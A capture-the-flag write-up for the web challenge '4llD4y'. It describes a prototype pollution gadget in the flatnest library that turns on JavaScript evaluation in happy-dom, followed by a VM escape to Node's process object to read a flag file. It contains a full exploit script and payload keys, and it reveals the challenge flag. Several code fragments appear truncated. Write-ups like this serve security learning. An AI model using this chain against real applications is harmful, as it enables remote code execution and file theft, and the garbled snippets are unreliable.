# 4llD4y (Web, Medium) ## Summary The app exposes two endpoints: `/config` that calls `flatnest.nest()` on attacker JSON, and `/render` that renders attacker HTML using `happy-dom`. By abusing a circular-reference gadget in `flatnest`, we can set properties on `Object.prototype` and thus inject Happy DOM browser settings. Enabling `enableJavaScriptEvaluation` lets inline scripts execute in the Happy DOM VM. That VM is not isolated, so we can escape via `this.constructor.constructor('return process')()` and use Node internals to read the random `/flag_*.txt` file. ## Recon ### App source `app.js`: - `POST /config` -> `nest(incoming)` - `POST /render` -> creates `new Window({ console })`, writes attacker HTML, returns `documentElement.outerHTML` `init.sh`: - The real flag is written to a random file: `/flag_.txt` - `$FLAG` is unset after writing ### Dependency behavior `flatnest` supports a circular reference string like `"[Circular (constructor.prototype)]"`. That resolves to the target object `Object.prototype` and lets us insert nested keys there. The library only blocks the key `__proto__`, so `constructor.prototype` is still reachable. `happy-dom` defaults to `enableJavaScriptEvaluation: false`, but it reads settings from the `Window` object. Because it uses normal property access, a polluted `Object.prototype.settings` is picked up and enables JS execution. ## Exploit chain 1. **Prototype pollution via flatnest**: - Send a key with a circular reference that resolves to `Object.prototype`: - `a: "[Circular (constructor.prototype)]"` - Then set properties on that object: - `a.settings.enableJavaScriptEvaluation: true` 2. **Run JS in Happy DOM**: - Submit HTML with a `" }' ``` ## Automated solve script File: `solve.js` ```js #!/usr/bin/env node const base = (process.argv[2] || 'http://challenges2.ctf.sd:33295').replace(/\/+$/, ''); async function post(path, body) { const res = await fetch(`${base}${path}`, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify(body) }); const text = await res.text(); if (!res.ok) { throw new Error(`${path} -> ${res.status}: ${text}`); } return text; } (async () => { const config = { a: '[Circular (constructor.prototype)]', 'a.settings.enableJavaScriptEvaluation': true, 'a.settings.suppressInsecureJavaScriptEnvironmentWarning': true }; await post('/config', config); const html = ` `; const rendered = await post('/render', { html }); const match = rendered.match(/]*>([\s\S]*?)<\/body>/i); console.log(match ? match[1].trim() : rendered.trim()); })().catch((err) => { console.error(err.message || err); process.exit(1); }); ``` Run: ```bash node solve.js http://challenges2.ctf.sd:33295 ``` ## Flag `0xL4ugh{H4appy_D0m_4ll_th3_D4y_cf16bbb0b4d6f58c}`